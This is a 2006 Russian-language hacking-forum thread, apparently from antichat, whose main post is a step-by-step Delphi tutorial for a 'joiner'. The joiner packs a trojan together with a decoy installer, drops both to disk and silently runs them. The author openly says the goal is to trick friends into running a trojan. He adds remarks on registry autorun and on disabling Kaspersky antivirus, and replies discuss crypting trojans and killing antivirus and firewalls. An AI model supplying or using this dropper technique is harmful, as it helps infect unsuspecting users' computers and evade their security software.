Авторские статьи .:Join-им 2 exe-шника ручками (using Delphi):.

Discussion in 'Статьи' started by xShreKx, 1 May 2006.

  1. xShreKx

    xShreKx Member

    Joined:
    2 Jul 2005
    Messages:
    11
    Likes Received:
    12
    Reputations:
    4
    В принципе, причиной написания статьи стало появление php joiner-а на hunger.ru (РЕКЛАМА ;) nerezus, BUG(O)R – с вас причитается))) ). Но проблема в том, что ПОКА он джойнит только 0.5 Мб. Маловато, особенно когда хочешь друзьям подсунуть install какой-нить аудио-видио утилиты =) Поэтому я решил сам придумать способ сджойнить два exe файла. И, о боги! Получилось =)
    Итак, статья о том, как «склеить» два исполняемых (да и не только) файла в один без использования joiner-ов. Для этого нам понадобятся:
    - Borland Delphi (или другая среда/компилятор для Object Pascal) – 1 шт.;
    - HEX-редактор (в моем случае – WinHEX 11.*) – 1 шт.;
    - Руки (желательно прямые) – 2 шт.;

    Шаг1. Получаем HEX exe-файлов.

    Открываем WinHex-ом приготовленные для склейки exe-файлы. А теперь копируем HEX-код в формате для Pascal (массив байтов). В WinHex-е есть такая функция: Edit -> Copy All -> Pascal Source. Получаем нечто подобное:

    Код 1.1
    Code:
    data: array [0..”кол-во байтов в файле - 1“] of byte = (
    $4D, $5A, $50, $00 …
    …
    );
    
    Давайте, для «файла-троя» (а зачем еще джойнить?! =) ) мы будем использовать data, а для программы-прикрытия data2. ОК? =) Тогда у нас будет два массива data и data2, приблизительный вид которых представлен в Коде 1.1.

    Такой способ позволяет нам сразу получить массив с байтами файла.
    Конечно, можно, при отсутствии редактора, создать прикладную программу для того, чтобы автоматически получать HEX в формат pascal. Но, если захотите, этого я коснусь в продолжении к статье… (короче, узнаю – напишу ;) )

    Шаг2. Создание «joining» процесса.

    Итак, первое, что нам понадобится - это процесс, который будет включать в себя склеенные файлы, а при запуске создавать отдельные файлы и запускать их.
    Открываем Delphi. Нам, как всегда, предлагают «готовую» форму. Зачем она нам? Удаляем из проекта Unit1.pas. Теперь смотрим, что осталось: Project -> View Source.
    Появляются сырцы project1.dpr:

    Код 2.1
    Code:
    program Project1;
    
    uses
      Forms;
    // Не уверен, но тут может остаться Unit1 in 'Unit1.pas' {Form1}
    
    {$R *.res}
    
    begin
      Application.Initialize;
      Application.CreateForm(TForm1, Form1);
      Application.Run;
    end.
    
    Даже удалив Unit1.pas, мы не избавились от всех гадостей, которые предлагает дядя Борланд и К: многовесящий, и в нашем случае бесполезный модуль Forms, содержащий в себе ту самую Application. Все сносим! Должно остаться

    Код 2.2
    Code:
    program Project1;
    
    uses
    
    {$R *.res}
    
    begin
    
    end.
    
    А вот теперь подключаем требуемые модули… Здесь вы можете проявить самостоятельность и воплотить все свои тайные желания ;)
    Но я лично пока ограничусь тремя обязательными в нашем случае библиотеками…
    Это windows, classes и shellapi. Из первой мы получим Handle (hwnd) нашего процесса, вторая нам потребуется для создания файлов из файлового потока TFileStream а третья – для запуска этих файлов функцией ShellExecute.

    Код 2.3
    Code:
    program Project1;
    
    uses
    windows, classes, shellapi;
    {$R *.res}
    
    begin
    
    end.
    
    Шаг 3. Объединение.

    У нас есть:
    1. Массивы с байтами двух exe-файлов
    2. Невидимый процесс (он, конечно, видимый в ctrl+alt+del, но т.к. после запуска он и 1 секунды не живет, то бояться нечего =))
    3. Прямые руки (Что? Нет? Блин…)
    Отсюда вывод – объединим и будет счастье! Для этого прямыми руками (если нет своих, просим друзей) добавляем в Код 2.3 объявление двух переменных и двух констант. Получаем:





    Код 3.1
    Code:
    program Project1;
    
    uses
    windows, classes, shellapi
    
    {$R *.res}
    
    var //тут описание переменных
    Handle: hwnd; //Переменная для хранения handle нашего процесса
    Exe: TFileStream; //Файловый поток
    const
    data: array [0..”кол-во байтов в файле - 1“] of byte = (
    $4D, $5A, $50, $00 …
    … //Тут куча строк (зависит от файлв)
    ); //Массив байтов нашего троя
    data2: array [0..”кол-во байтов в файле - 1“] of byte = (
    $4D, $5A, $50, $00 …
    … //Тут куча строк (зависит от файлв)
    ); //Массив байтов программы-подставы
    
    begin 
    
    end.
    
    А между begin и end делаем следующее:
    1.Получаем Handle своего процесса: Handle:=GetModuleHandle(nil); Он нам понадобится для вызова ShellExecute.
    2. Создаем Файловый поток Exe:=TFileStream.create('Путь/filename.exe',fmcreate); Где заменяете Путь/filename на свой путь и имя файла – это файл, который будет работать как программа-. Опять же тут возможны вариации. Лично для своих целей я написал функцию поиска каталога %windir%/system32 =)
    3. Заполняем Файловый поток байтами программы-прикрытия с нашего первого массива exe.Write(data2,кол-во байтов в файле); Кол-во байтов можно узнать из свойств exe-файла.
    4. exe.Free; //no comments =)
    5. А теперь запускаем созданный файл: ShellExecute(Handle,'open','имя файла',nil,’путь_к_файлу’,0); Понятно, что путь и имя файла должны совпадать с заданными в пункте 2.
    А теперь то же самое проделываем с массивом байтов нашего троя. Вот конечный код программы:

    Код 3.2
    Code:
    program Project1;
    
    uses
    windows, classes, shellapi
    
    {$R *.res}
    
    var //тут описание переменных
    Handle: hwnd; //Переменная для хранения handle нашего процесса
    Exe: TFileStream; //Файловый поток
    const
    data: array [0..”кол-во байтов в файле - 1“] of byte = (
    $4D, $5A, $50, $00 …
    … //Тут куча строк (зависит от файлв)
    ); //Массив байтов нашего троя
    data2: array [0..”кол-во байтов в файле - 1“] of byte = (
    $4D, $5A, $50, $00 …
    … //Тут куча строк (зависит от файлв)
    ); //Массив байтов программы-подставы
    
    begin //поехали…
    Handle:=GetModuleHandle(nil); //Получаем Handle
    Exe:=TFileStream.create('Путь/filename.exe',fmcreate); //Инициализация Файлового потока для программы-подставы
    exe.Write(data2,1968634);//Запись в поток массива байтов программы-подставы
    exe.Free; //освобождаем поток
    ShellExecute(Handle,'open','имя файла',nil,’путь_к_файлу’,0); //Запускаем программу-подставу
    
    Exe:=TFileStream.create('Путь2/filename2.exe',fmcreate); //Инициализация Файлового потока для Трояна
    exe.Write(data,1968634);//Запись в поток массива байтов трояна
    exe.Free; //освобождаем поток
    ShellExecute(Handle,'open','имя файла2',nil,’путь_к_файлу2’,0); //Запускаем Трояна.
    end.
    
    ---------------------------------------------------
    Замечание.
    Это примитивный код, который в принципе не даст вам многого. Но лично я в своем варианте добавил кодировку байтов Трояна, запись его в автозагрузку через реестр и сейчас пытаюсь незаметно убить к@$пер$кого.

    Так что если тема вам интересна, попытаюсь развить =)

    З.Ы.
    Ругаться - ICQ 28555888
    P.P.S
    Афтар – я, xShreKx ;) Соблюдайте ;)
     
    #1 xShreKx, 1 May 2006
    Last edited: 28 May 2006
    7 people like this.
  2. Utochka

    Utochka Elder - Старейшина

    Joined:
    21 Dec 2005
    Messages:
    495
    Likes Received:
    106
    Reputations:
    54
    Прикольно, а как криптонуть трой на Delphi слабо написать )
     
  3. xShreKx

    xShreKx Member

    Joined:
    2 Jul 2005
    Messages:
    11
    Likes Received:
    12
    Reputations:
    4
    Интересно? =) Понятно. Тогда может скоро напишу... Я просто поступаю в этом году (((
     
    2 people like this.
  4. nerezus

    nerezus Banned

    Joined:
    12 Aug 2004
    Messages:
    3,191
    Likes Received:
    729
    Reputations:
    266
    поставил 3 мб.

    Радуйтесь ;)
     
  5. qwe113

    qwe113 Banned

    Joined:
    24 Feb 2006
    Messages:
    10
    Likes Received:
    1
    Reputations:
    0
    ----
     
    #5 qwe113, 27 May 2006
    Last edited: 6 Dec 2011
  6. qwe113

    qwe113 Banned

    Joined:
    24 Feb 2006
    Messages:
    10
    Likes Received:
    1
    Reputations:
    0
    -----
     
    #6 qwe113, 27 May 2006
    Last edited: 6 Dec 2011
  7. Brun

    Brun Elder - Старейшина

    Joined:
    21 Mar 2006
    Messages:
    95
    Likes Received:
    57
    Reputations:
    16
    Читайте про мою программу http://forum.antichat.ru/showthread.php?t=17954
    Криптовать можно так, что мама родная не узнаэт. Но перед тем как раскриптовывать нужно рубануть все антивири, фаерволы и т.п. "гадость".

    Читайте кому надо
    ↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓